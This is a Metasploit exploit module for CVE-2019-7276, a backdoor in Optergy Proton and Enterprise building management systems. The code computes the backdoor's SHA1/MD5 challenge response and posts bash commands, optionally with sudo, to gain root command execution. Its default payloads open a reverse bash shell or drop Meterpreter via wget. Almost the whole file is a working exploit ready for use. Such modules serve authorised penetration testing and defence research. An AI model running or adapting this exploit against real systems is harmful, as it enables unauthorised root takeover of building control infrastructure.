##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',
        'Description' => %q{
          This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise
          Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.
          Attackers can exploit this issue by directly navigating to an undocumented backdoor script
          called Console.jsp in the tools directory and gain full system access.
          Successful exploitation results in `root` command execution using `sudo` as user `optergy`.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor
          'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery
        ],
        'References' => [
          [ 'CVE', '2019-7276'],
          [ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ],
          [ 'URL', 'https://optergy.com/products/proton/' ],
          [ 'URL', 'https://optergy.com/products/optergy-enterprise/' ],
          [ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ],
          [ 'EDB', '47641'],
          [ 'PACKETSTORM', '155258']
        ],
        'DisclosureDate' => '2019-11-05',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => { 'BadChars' => "\x20" },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    # Step 1: get the challenge and compute the response answer for the backdoor execution
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')
    })
    if res.nil? || (res.code != 200)
      return nil
    else
      # Get and create a challenge response
      res_json = res.get_json_document
      return nil if res_json.nil? || res_json.blank?

      # Get the challenge
      challenge = res_json['response']['message']
      # Make SHA1 hash from received challenge
      h1 = Digest::SHA1.hexdigest challenge
      # Make MD5 hash from SHA1 hash
      h2 = Digest::MD5.hexdigest h1
      # Combine MD5 hash and SHA1 hash as answer (response) to the challenge
      answer = h1 + h2
    end

    # Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1.
    if target['Type'] == :linux_dropper
      cmd = cmd.gsub(' ') { '${IFS}' }
    end

    if datastore['SUDO']
      payload = "sudo bash -c #{cmd}"
    else
      payload = "bash -c #{cmd}"
    end

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'command' => payload,
        'challenge' => challenge,
        'answer' => answer
      }
    })
    if res.nil? || (res.code != 200)
      return nil
    else
      # get result and return the command response
      res_json = res.get_json_document
      return nil if res_json.nil? || res_json.blank?

      res_cmd_output = res_json['response']['message']
      return res_cmd_output
    end
  end

  # Checking if the target is vulnerable by executing the whoami command via the backdoor
  def check
    res = execute_command('whoami')
    return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy')

    Exploit::CheckCode::Vulnerable
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      res = execute_command(payload.encoded)
      fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil?
    when :linux_dropper
      # Don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager
    end
  end
end
